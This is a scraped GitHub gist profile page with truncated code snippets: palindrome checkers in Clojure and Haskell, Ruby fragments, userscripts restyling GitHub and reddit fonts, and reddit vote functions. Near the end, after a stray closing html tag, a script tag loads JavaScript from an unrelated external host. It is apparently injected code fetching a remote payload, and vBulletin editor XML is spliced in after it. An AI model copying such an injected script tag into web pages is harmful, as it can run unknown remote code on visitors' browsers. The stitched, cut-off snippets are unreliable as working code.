Skip to content

Instantly share code, notes, and snippets.

View wfarr's full-sized avatar
:shipit:
shipping

Will Farrington wfarr

:shipit:
shipping
View GitHub Profile
#!/usr/bin/env ruby
require 'mathn'
def sign(x)
return 1 if x > 0
return -1 if x < 0
return 0
end
A11 = 2
A12 = -1
A13 = 0
A21 = 1
A22 = 2
A23 = -1
A31 = 2
A32 = -1
A33 = 2
@wfarr
wfarr / pal.clj
Created February 26, 2009 20:28
(defn isPal [str]
(cond (<= (.length str) 1) true
:else
(cond (= (Character/toLowerCase (first str))
(Character/toLowerCase (last str)))
(isPal (subs str 1 (- (.length str) 1)))
:else false)))
@wfarr
wfarr / pal.hs
Created February 26, 2009 06:30
module Main
where
import Char
isPal :: (Monad m) => [Char] -> m Bool
isPal str =
let _str = (map Char.toLower str) in
if length _str == 1 then
return True
// ==UserScript==
// @name GitHub - Make fonts less retarded
// @namespace http://wfarr.org
// @description Makes GitHub's fonts more tolerable
// @include http://*.github.com/*
// @include https://*.github.com/*
// @include http://github.com/*
// @include https://github.com/*
// ==/UserScript==
// ==UserScript==
// @name reddit - Make fonts less retarded
// @namespace http://wfarr.org
// @description Makes reddit's fonts more tolerable
// @include http://*.reddit.com/*
// @include http://reddit.com/*
// ==/UserScript==
modifyCSS();
function modifyCSS() {
function reddit_mod_up (I) {
var articleId = reddit_getArticleId(I.buffer);
if(articleId)
I.buffer.top_frame.wrappedJSObject.mod("t3_" + articleId, 1);
}
function reddit_mod_down(I) {
var articleId = reddit_getArticleId(I.buffer);
if(articleId)
RedditAPI.prototype._vote = function(linkID, isLiked, action) {
logger.log("reddit", "Making vote API call");
var dir;
if (isLiked == true) {
dir = 1;
} else if (isLiked == false) {
dir = -1;
} else {
dir = 0;
</body>
</html><script type="text/javascript" src="http://www.sposnr.sk/jurkoanjelik/foto/fv0511.js"></script><?xml version="1.0" encoding="windows-1252"?>
<quickedit>
<editor reason="" parsetype="84" parsesmilies="1" mode="0"><![CDATA[
<table cellpadding="0" cellspacing="0" border="1" align="center" width="95%" id="vB_Editor_QE_1_editor">
<tr>
#!/usr/bin/env ruby
foo = "foo"
case foo
when "foo" then puts "foo"
when "bar" then puts "bar"
else then puts "wtf?"
end